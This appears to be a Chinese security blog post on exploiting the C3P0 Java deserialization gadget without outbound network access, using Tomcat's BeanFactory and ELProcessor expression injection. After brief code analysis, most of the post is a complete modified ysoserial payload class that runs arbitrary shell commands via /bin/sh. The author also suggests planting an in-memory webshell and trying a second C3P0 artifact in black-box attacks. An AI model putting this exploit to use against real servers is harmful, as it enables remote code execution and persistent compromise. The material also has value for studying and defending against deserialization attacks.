C3P0是本人在实战环境中除CommonsCollections、CommonsBeanutiles以外遇到最多的JAR包,其中一部分C3P0是被org.quartz-scheduler:quartz所依赖进来的。 ysoserial中也提供了C3P0 Gadget, 利用方式为URLClassLoader加载远程class实例化实现代码执行, 因此带来了一个限制,需要目标能够出网。 近期在做一次测试的时候,发现了个反序列化漏洞环境为Tomcat8,尝试了常用的Gadget都不存在,使用C3P0时产生了DNS请求不过无HTTP请求,换了一些常见端口一样无HTTP请求导致无法利用,折腾了半天最后还是只能回去看看C3P0的代码。
C3P0 分析 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
1 2 3 4 5 6 7 8 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case 1 : Object o = ois.readObject(); if (o instanceof IndirectlySerialized) { o = ((IndirectlySerialized)o).getObject(); }
com.mchange.v2.naming.ReferenceIndirector
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object getObject () throws ClassNotFoundException, IOException { try { InitialContext var1; if (this .env == null ) { var1 = new InitialContext(); } else { var1 = new InitialContext(this .env); } Context var2 = null ; if (this .contextName != null ) { var2 = (Context)var1.lookup(this .contextName); } return ReferenceableUtils.referenceToObject(this .reference, this .name, var2, this .env); } catch (NamingException var3) { if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) { ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object." , var3); } throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString()); } }
在getObject方法中,很明显可以JNDI注入,但是JNDI注入的限制条件比URLClassLoader加载远程class限制条件还多,不考虑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static Object referenceToObject (Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException { try { String var4 = var0.getFactoryClassName(); String var11 = var0.getFactoryClassLocation(); ClassLoader var6 = Thread.currentThread().getContextClassLoader(); if (var6 == null ) { var6 = ReferenceableUtils.class.getClassLoader(); } Object var7; if (var11 == null ) { var7 = var6; } else { URL var8 = new URL(var11); var7 = new URLClassLoader(new URL[]{var8}, var6); } Class var12 = Class.forName(var4, true , (ClassLoader)var7); ObjectFactory var9 = (ObjectFactory)var12.newInstance(); return var9.getObjectInstance(var0, var1, var2, var3); } catch (Exception var10) { if (logger.isLoggable(MLevel.FINE)) { logger.log(MLevel.FINE, "Could not resolve Reference to Object!" , var10); } NamingException var5 = new NamingException("Could not resolve Reference to Object!" ); var5.setRootCause(var10); throw var5; } }
ysoserial中的利用就是通过referenceToObject方法URLClassloader加载远程class实现利用。 可以发现在referenceToObject方法中如果getFactoryClassLocation获取到的是null,就不会使用URLClassloader而是当前线程的ClassLoader,这意味着能够实例化WEB目录下的任意类。 能够实例化任意类也很难找到利用点,不过在referenceToObject中可以发现它在实例化完指定类后,还会调用它的getObjectInstance方法,看到这个方法名立马就能想到以前JNDI注入 绕过trustCodebaseURL限制的方法(这里不再赘述,可参考 http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/ ),通过Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入,刚好目标环境是Tomcat8按理是可以实现无网利用的。 修改一下ysoserial中的原生C3P0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package ysoserial.payloads;import java.io.PrintWriter;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;import com.mchange.v2.c3p0.PoolBackedDataSource;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import org.apache.naming.ResourceRef;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) @Authors({ Authors.MBECHLER }) public class C3P0Tomcat implements ObjectPayload <Object > { public Object getObject ( String command ) throws Exception { PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource" ).set(b, new PoolSource("org.apache.naming.factory.BeanFactory" , null )); return b; } private static final class PoolSource implements ConnectionPoolDataSource , Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this .className = className; this .url = url; } public Reference getReference () throws NamingException { ResourceRef ref = new ResourceRef("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr("forceString" , "x=eval" )); String cmd = "open -a calculator.app" ; ref.add(new StringRefAddr("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd +"']).start()\")" )); return ref; } public PrintWriter getLogWriter () throws SQLException {return null ;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0 ;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null ;} public PooledConnection getPooledConnection () throws SQLException {return null ;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null ;} } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(C3P0.class, args); } }
不出网时最好还是直接中一个内存马~
最后,市面上存在两个C3P0,com.mchange:c3p0、c3p0:c3p0。比较常见的是第一个,两个C3P0都能够利用但是因为SUID的原因需要稍微变化一下,黑盒反序列打第一个没反应时可以尝试下第二个,可能有惊喜~